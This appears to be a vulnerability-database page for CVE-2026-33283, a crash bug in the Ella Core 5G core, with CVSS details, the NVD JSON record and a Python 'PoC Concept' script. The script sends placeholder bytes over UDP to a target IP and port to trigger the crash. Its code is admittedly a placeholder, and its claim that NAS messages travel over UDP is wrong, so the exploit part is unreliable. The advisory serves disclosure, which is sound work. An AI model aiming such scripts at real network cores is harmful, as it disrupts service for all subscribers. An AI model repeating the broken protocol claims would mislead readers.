Security Vulnerability Report
中文
CVE-2026-33283 CVSS 6.5 MEDIUM

CVE-2026-33283

Published: 2026-03-24 00:16:31
Last Modified: 2026-03-24 19:30:01

Description

Ella Core is a 5G core designed for private networks. Versions prior to 1.6.0 panic when processing malformed UL NAS Transport NAS messages without a Request Type. An attacker able to send crafted NAS messages to Ella Core can crash the process, causing service disruption for all connected subscribers. No authentication is required. Version 1.6.0 adds a guard when receiving an UL NAS Message without a Request Type given no SM Context.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:* - VULNERABLE
Ella Core < 1.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-33283 # This script demonstrates sending a malformed NAS message to Ella Core. # Note: Actual exploitation requires a valid 5G RAN setup or protocol emulator. import socket def send_malformed_nas(target_ip, target_port): """ Sends a crafted UL NAS Transport message without Request Type to trigger the panic in Ella Core < 1.6.0. """ # Constructing a raw byte buffer representing a malformed NAS PDU. # This is a placeholder structure. Real NAS messages contain specific headers. # The triggering condition is the absence of the Request Type IE within # the UL NAS Transport message payload. malformed_payload = b'\x7e\x00\x01\x00' # Example placeholder bytes try: # Sending via UDP (common for NAS transport over IP) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(malformed_payload, (target_ip, target_port)) print(f"[+] Malformed NAS message sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error sending packet: {e}") if __name__ == "__main__": TARGET_IP = "192.168.1.100" # Replace with actual Ella Core IP TARGET_PORT = 36412 # Replace with actual interface port send_malformed_nas(TARGET_IP, TARGET_PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33283", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:30.530", "lastModified": "2026-03-24T19:30:01.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ella Core is a 5G core designed for private networks. Versions prior to 1.6.0 panic when processing malformed UL NAS Transport NAS messages without a Request Type. An attacker able to send crafted NAS messages to Ella Core can crash the process, causing service disruption for all connected subscribers. No authentication is required. Version 1.6.0 adds a guard when receiving an UL NAS Message without a Request Type given no SM Context."}, {"lang": "es", "value": "Ella Core es un núcleo 5G diseñado para redes privadas. Versiones anteriores a la 1.6.0 entran en pánico al procesar mensajes NAS de transporte UL NAS malformados sin un Request Type. Un atacante capaz de enviar mensajes NAS manipulados a Ella Core puede bloquear el proceso, causando interrupción del servicio para todos los suscriptores conectados. No se requiere autenticación. La versión 1.6.0 añade una protección al recibir un Mensaje NAS UL sin un Request Type dado que no hay Contexto SM."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.0", "matchCriteriaId": "4A60BFD6-666C-4509-BE38-04CBFF557242"}]}]}], "references": [{"url": "https://github.com/ellanetworks/core/security/advisories/GHSA-3366-gw57-fcm5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}